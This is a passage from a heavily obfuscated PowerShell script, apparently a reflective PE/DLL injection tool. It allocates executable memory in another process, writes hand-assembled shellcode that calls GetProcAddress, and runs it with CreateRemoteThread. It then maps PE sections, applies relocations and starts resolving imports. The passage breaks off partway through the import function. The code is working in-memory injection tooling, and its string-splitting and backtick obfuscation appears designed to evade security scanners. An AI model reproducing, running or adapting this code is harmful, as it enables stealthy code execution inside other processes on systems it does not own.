  1265.         [Parameter(PosITIOn=0, maNDatoRY=${tr`Ue})]
  1266.         [IntPtr]
  1267.         ${Re`MO`TEPrO`chanDLE},
  1268.  
  1269.         [Parameter(POsITiON=1, MAndatorY=${tr`UE})]
  1270.         [IntPtr]
  1271.         ${rEM`O`T`EdL`lHanDlE},
  1272.  
  1273.         [Parameter(PoSITIon=2, mAndAtORY=${T`Rue})]
  1274.         [IntPtr]
  1275.         ${FUncT`I`OnN`A`MeP`TR},
  1276.  
  1277.         [Parameter(pOsition=3, mAnDAtory=${TR`UE})]
  1278.         [Bool]
  1279.         ${Lo`A`dB`YOrD`inAl}
  1280.         )
  1281.  
  1282.         ${PT`RSiZE} =  $MlHIT::"Si`Z`EOf"([Type][IntPtr])
  1283.  
  1284.         [IntPtr]${rfu`NCnAme`P`TR} =  $T2ngF::"ZE`Ro"
  1285.  
  1286.         if (-not ${lOA`dB`YORD`In`Al})
  1287.         {
  1288.             ${fU`NC`T`ionNAMe} =   (  &("{1}{0}"-f'eM','iT') VARiAblE:mLHIt).vAlUe::("{2}{0}{3}{1}"-f'Str','Ansi','PtrTo','ing').Invoke(${FU`N`CtIOnnAmE`Ptr})
  1289.  
  1290.  
  1291.             ${f`Unc`Tio`N`NaMe`SIZE} = [UIntPtr][UInt64]([UInt64]${f`UNC`TIoN`NAmE}."leN`g`TH" + 1)
  1292.             ${r`FUNCna`mE`ptR} = ${w`IN32F`UNcTiOns}."vIRtUAlAL`L`oCEX"."INv`O`ke"(${ReMOT`ePRO`chan`D`Le},   (&("{1}{0}" -f'em','iT') ("V"+"A"+"rIa"+"BLe:T2NgF")  ).vALuE::"Ze`Ro", ${fUNcti`Onna`m`EsIZE}, ${W`iN3`2COnS`TaNtS}."ME`m_c`oMM`It" -bor ${Win32`CONS`TA`N`TS}."me`M_r`eSeR`Ve", ${W`IN3`2cOns`T`AnTS}."P`AgE_r`EADwri`TE")
  1293.             if (${r`FuncNA`me`ptR} -eq   ( &("{2}{1}{3}{0}"-f 'ARIaBLE','E','g','t-V') ("T"+"2NgF") ).Value::"Z`erO")
  1294.             {
  1295.                 Throw ("{0}{1}{4}{8}{2}{9}{3}{6}{11}{5}{7}{10}" -f 'U','nable to ','or',' the ','allocate','mo','r','te ',' mem','y in','process','e')
  1296.             }
  1297.  
  1298.             [UIntPtr]${n`U`m`BYTeSWriT`TEN} =  (&("{1}{2}{0}"-f 'E','vaRIab','L')  ("9HRw"+"N"+"y") -vaLUEo)::"Ze`Ro"
  1299.             ${SuCc`E`sS} = ${WI`N32`FuNcTIoNS}."W`RITE`PR`ocE`ssMemoRY"."iNv`O`KE"(${RE`MotePR`OCHA`NDlE}, ${RFUn`cNa`M`epTr}, ${Func`TI`oNN`A`mEPTR}, ${F`Un`CTioNnAM`e`SIZe}, [Ref]${Nu`M`BYTESWrit`Ten})
  1300.             if (${s`Uc`CESS} -eq ${FAl`Se})
  1301.             {
  1302.                 Throw ("{12}{5}{0}{1}{2}{7}{11}{10}{4}{9}{3}{8}{6}"-f 'abl','e ','to ','o remot','pat','n',' memory','w','e process','h t','e DLL ','rit','U')
  1303.             }
  1304.             if (${fUnc`TIOn`Na`meSiZe} -ne ${numby`TesWRI`Tt`En})
  1305.             {
  1306.                 Throw ((("{14}{20}{7}{22}{21}{9}{6}{19}{12}{3}{0}{8}{10}{17}{11}{18}{1}{16}{15}{13}{2}{5}{4}" -f ' of bytes when','LL p','ote ','unt','cess','pro','te','{0}t ',' wr','c','iting ',' ','mo',' to the rem','Di',' to load','ath','a','D','d a','dn','ite the expe','wr'))-f [chAR]39)
  1307.             }
  1308.         }
  1309.  
  1310.         else
  1311.         {
  1312.             ${rF`UNC`NaMepTR} = ${FU`NCTIo`N`NAMEPtR}
  1313.         }
  1314.  
  1315.  
  1316.         ${kERnE`L32hA`Nd`LE} = ${wIN`3`2FUNC`Tio`NS}."GeTm`O`d`UlEhAndlE"."INv`OKE"(("{3}{0}{1}{2}"-f'.d','l','l','kernel32'))
  1317.         ${G`ETpRoca`dDr`es`SADdR} = ${w`I`N3`2FUnCtioNs}."getP`ROCaDDrE`ss"."I`NVokE"(${k`e`RneL3`2h`AnDLe}, ("{0}{1}{3}{2}" -f'G','etPr','ss','ocAddre'))
  1318.  
  1319.  
  1320.  
  1321.         ${GETP`ROcaDdReS`s`Re`T`MeM} = ${W`in32Fu`Nct`I`oNs}."ViRT`U`A`lA`LLoCex"."In`VOKe"(${REM`oTEP`Ro`chanDle},  (&("{1}{0}" -f'I','gc')  VAriable:t2ngF  ).valUE::"Ze`Ro", [UInt64][UInt64]${p`T`RsIze}, ${W`iN3`2cOn`sTa`NtS}."meM_`co`mMit" -bor ${w`in32cOn`Sta`Nts}."Me`M_ReSe`RvE", ${Wi`N32Co`N`S`TAnTS}."PAgE_R`EA`DW`RITE")
  1322.         if (${Ge`Tp`R`OCadDr`EsSRe`TMeM} -eq  (&("{2}{0}{1}" -f'It','em','GeT-') ("va"+"R"+"iAble:T2NGf")).VAlue::"Z`eRO")
  1323.         {
  1324.             Throw ("{11}{24}{14}{5}{17}{21}{12}{13}{20}{15}{22}{10}{19}{23}{7}{9}{16}{25}{18}{6}{1}{2}{4}{8}{3}{0}"-f'ess','P','r','Addr','o','a','et',' ','c','r',' ','Unable','mem','ory i',' ',' proc','et','l','of G','for','n the remote','locate ','ess',' the',' to','urn value ')
  1325.         }
  1326.  
  1327.  
  1328.  
  1329.  
  1330.         [Byte[]]${GETP`R`OCaDDRE`Sssc} = @()
  1331.         if (${pe`I`Nfo}."p`e64`BiT" -eq ${T`RUE})
  1332.         {
  1333.             ${GeTpROCAd`drE`SsS`C1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1334.             ${g`eTp`RoCADdRe`sS`Sc2} = @(0x48, 0xba)
  1335.             ${g`EtpRoCAd`DR`ES`s`sC3} = @(0x48, 0xb8)
  1336.             ${gET`PrOCAddre`S`ssC4} = @(0xff, 0xd0, 0x48, 0xb9)
  1337.             ${gEt`pR`ocA`dd`REsSS`c5} = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1338.         }
  1339.         else
  1340.         {
  1341.             ${GE`TPRoca`Dd`Res`sSc1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
  1342.             ${GetP`RO`Ca`DdREsSsC2} = @(0xb9)
  1343.             ${GEtpRo`Ca`ddresS`SC3} = @(0x51, 0x50, 0xb8)
  1344.             ${geT`P`Ro`C`AddrESSsc4} = @(0xff, 0xd0, 0xb9)
  1345.             ${gEtP`Ro`C`AddreSsSc5} = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
  1346.         }
  1347.         ${s`CLengTh} = ${g`eTprocADd`Re`S`Ssc1}."l`ENg`Th" + ${GETprocadd`RE`sSs`c2}."L`enG`Th" + ${g`ETp`R`oCAdDREsss`C3}."leN`gTh" + ${GeTP`Ro`ca`DD`RESSS`c4}."l`eN`GTh" + ${GETPRO`CADdrE`sss`C5}."leNg`Th" + (${PtRsi`Ze} * 4)
  1348.         ${S`C`PSmeM} =   $mlhIt::("{2}{1}{0}{3}" -f 'lo','llocHG','A','bal').Invoke(${sc`lEnG`TH})
  1349.         ${ScPSM`EM`oR`igi`Nal} = ${ScPs`M`em}
  1350.  
  1351.         &("{5}{3}{4}{1}{0}{2}" -f'esToMemor','t','y','te-','By','Wri') -Bytes ${geT`pRO`ca`d`DReSSsc1} -MemoryAddress ${SC`PSMEM}
  1352.         ${SCps`Mem} = &("{4}{3}{2}{1}{0}" -f'ed','gn','si','SignedIntAsUn','Add-') ${s`CPsm`em} (${gE`Tp`RoCa`dDRESsSC1}."l`Eng`Th")
  1353.           $mlhIT::("{3}{4}{1}{2}{0}"-f 'Ptr','T','o','Structur','e').Invoke(${r`EMo`TedL`LH`A`NdLe}, ${s`C`pSmeM}, ${f`ALse})
  1354.         ${sC`psmeM} = &("{1}{0}{2}{4}{3}"-f 'i','Add-S','gnedIntAsU','igned','ns') ${s`cP`SMem} (${P`TRSi`Ze})
  1355.         &("{1}{2}{4}{5}{0}{3}"-f 'M','W','rite-','emory','Bytes','To') -Bytes ${Getp`R`ocA`D`dReSssC2} -MemoryAddress ${s`c`pSMEM}
  1356.         ${Sc`PS`mEM} = &("{2}{6}{0}{1}{5}{4}{3}" -f'In','tA','Add-Signe','d','gne','sUnsi','d') ${sC`psmeM} (${gEtPR`OCA`d`DREsSSC2}."lEn`GTH")
  1357.          $mLhIT::("{3}{4}{2}{1}{0}" -f'tr','reToP','tu','St','ruc').Invoke(${RFuNcn`AM`EptR}, ${S`cPsmEM}, ${fA`LsE})
  1358.         ${SCP`sMEM} = &("{3}{4}{1}{5}{2}{0}" -f 'ed','t','gn','Add-Si','gnedIn','AsUnsi') ${sc`pSmem} (${PT`R`sIZE})
  1359.         &("{4}{3}{0}{5}{2}{1}"-f'i','BytesToMemory','e-','r','W','t') -Bytes ${GEtPrOcAdDres`s`s`c3} -MemoryAddress ${s`Cps`mem}
  1360.         ${Scps`M`Em} = &("{3}{5}{2}{1}{0}{6}{4}"-f'tAsUn','gnedIn','Si','A','d','dd-','signe') ${S`C`psmeM} (${Getpro`C`A`DDre`sSS`C3}."le`NG`TH")
  1361.           ( &("{1}{0}" -f'm','iTe')  varIabLe:mLHIt  ).VaLuE::("{2}{3}{0}{4}{1}" -f'tur','oPtr','Stru','c','eT').Invoke(${get`ProCaDDr`E`SS`Ad`Dr}, ${s`c`pSMem}, ${f`ALse})
  1362.         ${sC`pSm`EM} = &("{0}{1}{2}{4}{3}"-f'Add-Si','gn','edIntA','nsigned','sU') ${s`CPSM`EM} (${p`T`RsIZE})
  1363.         &("{0}{2}{3}{1}" -f 'W','Memory','rite-Byt','esTo') -Bytes ${gEtpRocadDre`S`S`sC4} -MemoryAddress ${S`Cps`mEm}
  1364.         ${S`CpSm`EM} = &("{2}{1}{4}{6}{5}{0}{3}"-f'si','-Signe','Add','gned','dIn','n','tAsU') ${S`CpS`MEM} (${GETPr`o`Cad`DrE`s`sSC4}."l`eNGth")
  1365.           $mLHIT::("{0}{1}{2}{3}" -f 'S','tructure','ToP','tr').Invoke(${G`eTprOC`A`d`Dr`essrET`mem}, ${ScP`S`MEm}, ${F`ALsE})
  1366.         ${SCP`SmEm} = &("{4}{3}{0}{2}{5}{6}{1}"-f 'nedI','ed','nt','d-Sig','Ad','AsUnsig','n') ${s`cPSMEm} (${P`T`RSizE})
  1367.         &("{3}{4}{5}{2}{0}{1}" -f 'esToM','emory','Byt','Wri','t','e-') -Bytes ${g`Et`pROcAdD`ResSs`C5} -MemoryAddress ${scp`S`mem}
  1368.         ${sc`psm`EM} = &("{3}{5}{1}{4}{2}{0}"-f'd','edIntAsUn','igne','Add-Si','s','gn') ${s`C`psMEM} (${GE`T`pRoCAdDrE`SSsC5}."L`EN`gth")
  1369.  
  1370.         ${r`sCa`Ddr} = ${WIN`32FunctiO`Ns}."VIRt`UAL`AllOC`ex"."INvo`ke"(${rE`mot`epR`OCHAnDle},  $T2nGf::"zE`RO", [UIntPtr][UInt64]${s`Cle`NgTH}, ${wi`N32c`oNST`An`Ts}."MEm`_cOm`miT" -bor ${WIN`32co`NST`An`Ts}."Me`m_R`Ese`RvE", ${Wi`N32CONstAN`TS}."P`AGE_Exec`UtE_reAd`w`R`ItE")
  1371.         if (${R`SCa`ddr} -eq   $t2ngf::"zE`Ro")
  1372.         {
  1373.             Throw ("{3}{11}{10}{1}{9}{6}{13}{2}{7}{12}{5}{15}{8}{14}{4}{0}"-f 'llcode','mem','re','Unable to all','r she','es','ry in th','mo',' ','o',' ','ocate','te proc','e ','fo','s')
  1374.         }
  1375.         [UIntPtr]${Nu`MB`ytE`swritten} =  $9HRwny::"z`ErO"
  1376.         ${s`UCCe`sS} = ${w`IN`32FUNC`TIonS}."W`RiTepRoCES`s`meMo`Ry"."iNv`OkE"(${reMO`TePr`ocHAN`DLE}, ${r`sc`ADdr}, ${sCpS`M`E`MOr`IGinal}, [UIntPtr][UInt64]${sc`lEn`g`TH}, [Ref]${nuM`BYte`SwRi`TT`en})
  1377.         if ((${SUCc`EsS} -eq ${fA`lse}) -or ([UInt64]${N`UMbYt`eS`Writt`en} -ne [UInt64]${Sc`len`gth}))
  1378.         {
  1379.             Throw ("{5}{7}{8}{3}{1}{10}{9}{6}{0}{11}{4}{2}" -f'e proces','shel','.','e ','ory','Unable ','t','to',' writ','o remo','lcode t','s mem')
  1380.         }
  1381.  
  1382.         ${r`T`hRea`D`haNdlE} = &("{1}{3}{2}{0}{4}"-f'hre','Cre','oteT','ate-Rem','ad') -ProcessHandle ${reMOtEp`Ro`CH`AnDLe} -StartAddress ${R`sCAD`Dr} -Win32Functions ${WIn32fU`NCTI`O`NS}
  1383.         ${re`Su`lT} = ${wI`N`32funcTiO`Ns}."wAITForS`iN`G`LEoBJe`CT"."in`VOkE"(${rt`HrE`AdH`A`NdLE}, 20000)
  1384.         if (${RE`s`UlT} -ne 0)
  1385.         {
  1386.             Throw ("{9}{0}{10}{3}{5}{6}{4}{2}{1}{8}{7}"-f'a','e','l','moteThread to c','ai','all',' GetProcAddress f','.','d','Call to Cre','teRe')
  1387.         }
  1388.  
  1389.  
  1390.         [IntPtr]${reTuRn`V`ALm`EM} =   (  &("{2}{3}{0}{1}"-f 'D','ITeM','gEt-CHI','L')  ("vAriABLE:"+"Ml"+"H"+"iT")  ).vAluE::("{0}{2}{1}{3}"-f'All','cH','o','Global').Invoke(${PtRSi`ze})
  1391.         ${res`ULt} = ${WiN`32FuNCTI`o`Ns}."rEAD`p`ROCEs`SmEmo`RY"."IN`VOKe"(${Re`mOtEp`R`OCHaNd`Le}, ${GetpR`OcaDDR`E`SsReTM`eM}, ${R`ET`URNValMeM}, [UIntPtr][UInt64]${Pt`R`sIzE}, [Ref]${numb`YTEs`wrIt`TeN})
  1392.         if ((${res`U`lt} -eq ${Fa`LSE}) -or (${NuMb`y`TeSWRIT`TEN} -eq 0))
  1393.         {
  1394.             Throw ("{7}{0}{3}{6}{5}{4}{2}{1}" -f'll','y failed','emor',' ','ssM',' ReadProce','to','Ca')
  1395.         }
  1396.         [IntPtr]${PrOCa`dDr`ESS} =  $mLHiT::"ptrto`struC`TUre"(${R`Etu`Rnv`ALmEM}, [Type][IntPtr])
  1397.  
  1398.  
  1399.         ${wiN32FunC`Tio`NS}."virt`UA`LFR`eeeX"."in`VoKE"(${reMo`T`EprO`ch`AnDlE}, ${R`sC`AdDR}, [UIntPtr][UInt64]0, ${W`in3`2conS`TaN`TS}."me`m`_rELeaSe") | &("{1}{0}" -f'll','Out-Nu')
  1400.         ${wI`N32f`Un`CTiOnS}."VirTuAL`FrE`eeX"."InV`O`kE"(${rEMot`Ep`RocH`ANd`Le}, ${G`EtpRo`C`ADd`REssReT`meM}, [UIntPtr][UInt64]0, ${W`iN3`2CON`St`ANTS}."Mem_reL`E`A`SE") | &("{1}{0}{2}" -f 't','Ou','-Null')
  1401.  
  1402.         if (-not ${loaDByo`RD`iNAl})
  1403.         {
  1404.             ${wiN32F`U`Nc`Tions}."vI`RTUaLFr`EEeX"."In`V`oke"(${r`EM`O`Te`prOchaND`Le}, ${rFuNc`Na`meptr}, [UIntPtr][UInt64]0, ${Win`32C`o`Ns`TanTS}."ME`m`_rEl`eASe") | &("{0}{1}" -f'Out','-Null')
  1405.         }
  1406.  
  1407.         return ${P`ROC`ADD`REss}
  1408.     }
  1409.  
  1410.  
  1411.     Function COp`Y-`s`EC`TioNs
  1412.     {
  1413.         Param(
  1414.         [Parameter(pOsItION = 0, manDAtorY = ${TR`UE})]
  1415.         [Byte[]]
  1416.         ${P`EbYTes},
  1417.  
  1418.         [Parameter(pOsition = 1, MandATORy = ${tR`UE})]
  1419.         [System.Object]
  1420.         ${peIN`FO},
  1421.  
  1422.         [Parameter(posITION = 2, MaNdaTory = ${t`Rue})]
  1423.         [System.Object]
  1424.         ${W`iN32Fun`ct`iO`NS},
  1425.  
  1426.         [Parameter(pOsItion = 3, maNDatORy = ${tR`UE})]
  1427.         [System.Object]
  1428.         ${wIn`3`2TyP`es}
  1429.         )
  1430.  
  1431.         for( ${I} = 0; ${i} -lt ${p`EInFO}."imA`gE_n`T_HEa`D`ERs"."F`i`lehE`AdER"."nuMb`eROfSe`cT`I`OnS"; ${I}++)
  1432.         {
  1433.             [IntPtr]${seCtiON`h`e`AD`erP`TR} = [IntPtr](&("{1}{6}{5}{0}{2}{4}{3}" -f 'gnedIntAsU','A','nsi','ned','g','d-Si','d') ([Int64]${PE`I`NFO}."SecTiO`Nhead`eRPTr") (${I} *   $mLHIT::"S`izeof"([Type]${win32T`y`PeS}."iMaG`e_sEcTiON_H`E`ADer")))
  1434.             ${sECTio`NHE`A`dEr} =   ( &("{1}{0}" -f 'Ir','D') varIablE:mLhit ).VALue::"PT`RTOStrUCtU`Re"(${SECT`io`NHEADE`RPTR}, [Type]${WIn`32t`ypES}."IMa`ge_s`e`ction_heaD`eR")
  1435.  
  1436.  
  1437.             [IntPtr]${SE`cTiON`DEst`A`DdR} = [IntPtr](&("{1}{5}{6}{0}{3}{2}{4}" -f'ed','A','nsign','IntAsU','ed','dd','-Sign') ([Int64]${pEin`FO}."P`ehanDLE") ([Int64]${s`e`cTio`Nhe`ADeR}."vIrt`Ua`laD`dReSs"))
  1438.  
  1439.  
  1440.  
  1441.  
  1442.  
  1443.             ${SI`zEOfRAWDa`Ta} = ${SE`cTiOnHEa`DEr}."S`izeOfraw`dATA"
  1444.  
  1445.             if (${SeCT`iO`NHe`AdER}."P`OiN`TeRt`Or`AwDatA" -eq 0)
  1446.             {
  1447.                 ${sizeOFRa`w`DA`TA} = 0
  1448.             }
  1449.  
  1450.             if (${Siz`e`of`R`AwDAtA} -gt ${Sec`TIoNhEaD`Er}."v`IrtuA`L`SIZe")
  1451.             {
  1452.                 ${size`ofRAW`DA`Ta} = ${s`ec`TIoN`H`EADEr}."Vi`Rt`UALSiZE"
  1453.             }
  1454.  
  1455.             if (${SIz`eOF`Ra`wDATa} -gt 0)
  1456.             {
  1457.                 &("{3}{1}{0}{2}{4}" -f't-MemoryRang','s','eV','Te','alid') -DebugString ("{3}{1}{0}{2}{4}" -f 'e','y-S','ctions::Mars','Cop','halCopy') -PEInfo ${p`eiNfO} -StartAddress ${se`CTiOnd`e`sTa`Ddr} -Size ${siZEO`FrAW`dAta} | &("{2}{1}{0}" -f'l','ul','Out-N')
  1458.                  ( &("{2}{0}{1}"-f'tE','M','gEt-I')  ('v'+'arIab'+'l'+'E:mLhI'+'T') ).vaLue::"co`PY"(${p`EBYt`ES}, [Int32]${Sec`TIOnhEA`der}."PoIN`TEr`Tor`AW`DaTA", ${sE`Ct`ioN`dest`ADdR}, ${SIz`eOfR`Aw`d`ATA})
  1459.             }
  1460.  
  1461.  
  1462.             if (${S`E`c`TionhE`ADER}."siZeof`RA`W`DAta" -lt ${sectI`onhe`A`Der}."v`irTuals`Ize")
  1463.             {
  1464.                 ${dIFF`er`eNCe} = ${SEct`IO`NheAD`ER}."VIrtuA`L`SIzE" - ${S`I`ZEofraw`Data}
  1465.                 [IntPtr]${sTarTAd`DR`ESs} = [IntPtr](&("{3}{1}{2}{4}{0}" -f'signed','Sig','nedIn','Add-','tAsUn') ([Int64]${SEcT`Ion`DestaDdr}) ([Int64]${s`IZeOF`RAwD`A`Ta}))
  1466.                 &("{5}{2}{3}{4}{0}{1}"-f'g','eValid','st-','Me','moryRan','Te') -DebugString ("{0}{4}{5}{1}{3}{2}"-f'Cop','s::','t','Memse','y-Sectio','n') -PEInfo ${P`Ein`Fo} -StartAddress ${stArTa`DdR`ESs} -Size ${d`if`FeRe`NCe} | &("{1}{0}" -f 'ull','Out-N')
  1467.                 ${w`iN`32fUnCTI`oNS}."Mem`sEt"."In`V`oke"(${sTA`RTAdd`ReSS}, 0, [IntPtr]${Dif`F`Erence}) | &("{0}{1}"-f 'Out','-Null')
  1468.             }
  1469.         }
  1470.     }
  1471.  
  1472.  
  1473.     Function U`pd`AtE`-me`morYADdreSsES
  1474.     {
  1475.         Param(
  1476.         [Parameter(PoSITion = 0, mAndatOrY = ${TR`Ue})]
  1477.         [System.Object]
  1478.         ${PE`iNFo},
  1479.  
  1480.         [Parameter(POSItIOn = 1, mAnDAtOrY = ${T`RUE})]
  1481.         [Int64]
  1482.         ${oRI`GINalimaG`eB`A`SE},
  1483.  
  1484.         [Parameter(poSItiON = 2, mANDATory = ${tr`UE})]
  1485.         [System.Object]
  1486.         ${wiN3`2CONsT`A`N`TS},
  1487.  
  1488.         [Parameter(PoSitIOn = 3, mAnDAtOry = ${t`RuE})]
  1489.         [System.Object]
  1490.         ${wI`N32tY`PEs}
  1491.         )
  1492.  
  1493.         [Int64]${bAsedI`FfeR`eN`ce} = 0
  1494.         ${addD`Iffe`Re`N`CE} = ${tr`UE}
  1495.         [UInt32]${I`mAgEb`ASe`R`ElOCsI`ZE} =  (  &('lS')  VARiABLE:MLhIt ).vAlue::"s`izEOF"([Type]${W`iN3`2TyP`Es}."I`MAg`E_b`AsE_reL`ocAtioN")
  1496.  
  1497.  
  1498.         if ((${OR`i`giNAl`IMAGE`BaSE} -eq [Int64]${PE`I`NfO}."EffeCT`IVEp`e`h`AndLE") `
  1499.                 -or (${Pei`N`Fo}."iM`AGe_NT_h`eAd`e`RS"."OPTIOnal`HEa`D`eR"."BaSe`Reloca`TIoN`TabLE"."S`izE" -eq 0))
  1500.         {
  1501.             return
  1502.         }
  1503.  
  1504.  
  1505.         elseif ((&("{8}{0}{4}{3}{9}{2}{1}{5}{6}{7}{10}"-f'a','al2','hanV','Grea','re-Val1','AsU','I','n','Comp','terT','t') (${o`RIg`iNal`iMA`geBa`sE}) (${P`EINfo}."eFF`ec`T`IVEPeHANdlE")) -eq ${tR`UE})
  1506.         {
  1507.             ${BAS`eDI`FFe`RENcE} = &("{2}{6}{0}{4}{1}{3}{5}"-f'n','sUnsi','S','g','tA','ned','ub-SignedI') (${Ori`GINAlIm`AG`E`BaSE}) (${p`EI`NfO}."EF`FeC`TiVepEHa`ND`LE")
  1508.             ${a`dDdIf`FERENCe} = ${fa`lsE}
  1509.         }
  1510.         elseif ((&("{6}{9}{4}{3}{2}{5}{8}{1}{0}{7}"-f'UIn','s','Great','1','Val','erThanVa','Comp','t','l2A','are-') (${pE`i`NFO}."e`FFec`TiV`EPEH`An`DLe") (${OR`IGi`NAL`Im`AG`EbAse})) -eq ${t`RUe})
  1511.         {
  1512.             ${bAS`EDI`FfER`enCe} = &("{7}{2}{3}{1}{4}{5}{0}{6}" -f'A','Si','ub','-','g','nedInt','sUnsigned','S') (${pE`IN`FO}."E`F`FeCTivePehA`NDle") (${ORIgi`Na`L`i`mag`eBaSE})
  1513.         }
  1514.  
  1515.  
  1516.         [IntPtr]${Ba`SE`R`ELo`CptR} = [IntPtr](&("{4}{3}{5}{6}{0}{1}{2}"-f'sU','nsign','ed','S','Add-','ign','edIntA') ([Int64]${PEin`Fo}."pE`H`AndLE") ([Int64]${PE`I`NFO}."ImAG`E_N`T_HeADeRs"."opTIonA`Lh`EAdER"."bAserElOCA`TI`ON`TA`B`LE"."vIrtu`AL`ADdreSS"))
  1517.         while(${T`RuE})
  1518.         {
  1519.  
  1520.             ${bA`Se`REloCA`TIOntA`B`Le} =  $mLHit::"PtR`TOsTrUC`TU`Re"(${baser`e`LOC`pTR}, [Type]${wiN32`T`ypES}."I`mA`G`e_`BasE_`R`eLOCatIon")
  1521.  
  1522.             if (${Ba`SEReLO`c`AtIontab`lE}."Si`zeOFbl`ocK" -eq 0)
  1523.             {
  1524.                 break
  1525.             }
  1526.  
  1527.             [IntPtr]${Me`ma`dDrBaSe} = [IntPtr](&("{2}{3}{1}{0}" -f'd','dIntAsUnsigne','A','dd-Signe') ([Int64]${peIN`Fo}."P`eHanD`LE") ([Int64]${Ba`se`Re`lO`C`A`TIOnTABLe}."vi`Rtu`Al`AdDR`esS"))
  1528.             ${nuMRe`L`OCa`TIOns} = (${BAS`eREl`OCat`ioNtAb`lE}."sIZEo`FBLo`CK" - ${im`AgE`BASE`RELOc`SizE}) / 2
  1529.  
  1530.  
  1531.             for(${i} = 0; ${I} -lt ${NU`m`R`e`lOcAtiOnS}; ${i}++)
  1532.             {
  1533.  
  1534.                 ${REl`ocatION`inF`optR} = [IntPtr](&("{3}{0}{6}{5}{1}{4}{2}" -f'd','A','nsigned','A','sU','nt','d-SignedI') ([IntPtr]${b`AseR`E`lOCptr}) ([Int64]${IM`AgebaSer`e`l`O`cS`Ize} + (2 * ${I})))
  1535.                 [UInt16]${ReloCATI`o`NiNFO} =  $mlHiT::"PTr`To`str`UctuRe"(${ReloCat`I`oN`iNFoptr}, [Type][UInt16])
  1536.  
  1537.  
  1538.                 [UInt16]${R`eLoC`O`Ffset} = ${rel`O`cAt`ion`InFO} -band 0x0FFF
  1539.                 [UInt16]${Re`loCT`ype} = ${RElO`c`ATionI`NFo} -band 0xF000
  1540.                 for (${j} = 0; ${J} -lt 12; ${J}++)
  1541.                 {
  1542.                     ${Re`LOC`TYPE} =  ( &("{1}{2}{0}"-f'Le','VaRia','b') ("6"+"3Y") -VALuEo )::("{1}{0}" -f'or','Flo').Invoke(${r`EL`oCTy`pe} / 2)
  1543.                 }
  1544.  
  1545.  
  1546.  
  1547.  
  1548.                 if ((${RE`l`oCtyPE} -eq ${wiN32`cOns`TAN`TS}."ImAgE`_`R`eL_bASE`d_`hI`GHloW") `
  1549.                         -or (${R`EL`oC`TypE} -eq ${W`I`N32c`ONStAN`Ts}."I`maG`e_Rel_BAsE`d`_DI`R64"))
  1550.                 {
  1551.  
  1552.                     [IntPtr]${FiNaL`AD`dR} = [IntPtr](&("{0}{3}{4}{2}{1}{5}{6}"-f 'Add-Sign','AsUn','t','ed','In','s','igned') ([Int64]${memA`DDR`Ba`Se}) ([Int64]${Re`LOco`Ff`SET}))
  1553.                     [IntPtr]${CUrr`A`DDr} =   $MlhiT::"PTrTo`st`Ruc`TURE"(${f`iNAlA`ddr}, [Type][IntPtr])
  1554.  
  1555.                     if (${A`DdDIF`FERe`NCe} -eq ${Tr`Ue})
  1556.                     {
  1557.                         [IntPtr]${cuR`R`AddR} = [IntPtr](&("{3}{4}{0}{1}{2}" -f'edIn','tAs','Unsigned','Add-S','ign') ([Int64]${c`UrRAd`dR}) (${BA`sEdIfF`eRe`NCe}))
  1558.                     }
  1559.                     else
  1560.                     {
  1561.                         [IntPtr]${cuR`RAD`dR} = [IntPtr](&("{3}{2}{1}{0}{5}{4}{6}{7}"-f'd','gne','Si','Sub-','n','I','tAsU','nsigned') ([Int64]${C`URR`AdDr}) (${BASeDiF`F`eRE`NcE}))
  1562.                     }
  1563.  
  1564.                      ( &("{0}{1}"-f 'vAriABl','E') mlhiT  -value)::("{2}{1}{0}"-f 'tureToPtr','uc','Str').Invoke(${c`U`Rr`ADdr}, ${fI`N`AL`ADdR}, ${f`AlSE}) | &("{0}{1}"-f'Out-Nu','ll')
  1565.                 }
  1566.                 elseif (${rE`l`ocTYPE} -ne ${WI`N32`ConsTaN`Ts}."I`Ma`gE`_REl_bA`S`Ed_aB`soLUte")
  1567.                 {
  1568.  
  1569.                     Throw ('U'+'nknown '+'relo'+'catio'+'n'+' '+'fo'+'und, '+'r'+'eloc'+'a'+'tion '+'va'+'lue: '+"$RelocType, "+'re'+'lo'+'cation'+'info: '+"$RelocationInfo")
  1570.                 }
  1571.             }
  1572.  
  1573.             ${b`ASerElOcP`Tr} = [IntPtr](&("{4}{2}{3}{0}{1}" -f'AsUnsigne','d','n','t','Add-SignedI') ([Int64]${Ba`S`ERE`LocP`TR}) ([Int64]${baSeRELo`Ca`TIONTA`B`lE}."Sizeof`BL`oCK"))
  1574.         }
  1575.     }
  1576.  
  1577.  
  1578.     Function I`MP`oRt-DLlI`mPOrTS
  1579.     {
  1580.         Param(
  1581.         [Parameter(PosiTION = 0, maNdAtOrY = ${T`Rue})]
  1582.         [System.Object]
  1583.         ${p`e`Info},
  1584.  
  1585.         [Parameter(PoSition = 1, mANDatorY = ${T`RuE})]
  1586.         [System.Object]
  1587.         ${W`IN32fUn`CTiONS},
  1588.  
  1589.         [Parameter(PositION = 2, MaNdAToRy = ${t`RUE})]
  1590.         [System.Object]
  1591.         ${wiN32`Ty`pes},
  1592.  
  1593.         [Parameter(PoSItion = 3, MANdaTory = ${tr`Ue})]
  1594.         [System.Object]
  1595.         ${w`In32`ConsTaN`TS},
  1596.  
  1597.         [Parameter(PosiTION = 4, manDaToRy = ${fAl`sE})]
  1598.         [IntPtr]
  1599.         ${ReMoTE`pro`chAn`dlE}
  1600.         )
  1601.  
  1602.         ${r`eM`OTeLOad`i`Ng} = ${FA`lSE}
  1603.         if (${P`e`inFo}."Pe`Ha`NDle" -ne ${PeI`NFO}."e`F`FEcTiV`epeHAN`dle")
  1604.         {
  1605.             ${R`eMO`T`eloAd`iNG} = ${tR`UE}
  1606.         }
  1607.  
  1608.         if (${p`E`INfo}."IM`A`GE_nt`_hEaDE`Rs"."o`p`TIonALh`Ead`eR"."IMp`OrtT`ABLE"."SI`Ze" -gt 0)
  1609.         {
  1610.             [IntPtr]${ImP`o`RtDescr`iPt`OR`P`Tr} = &("{3}{0}{4}{1}{2}"-f '-SignedIntA','gne','d','Add','sUnsi') ([Int64]${pe`i`NFO}."PEha`Ndle") ([Int64]${pe`inFo}."IMA`gE_Nt_h`e`ADERs"."oPT`I`Onalh`EAdER"."i`mP`orTta`Ble"."VIR`Tua`L`ADD`ResS")
  1611.  
  1612.             while (${T`RUE})
  1613.             {
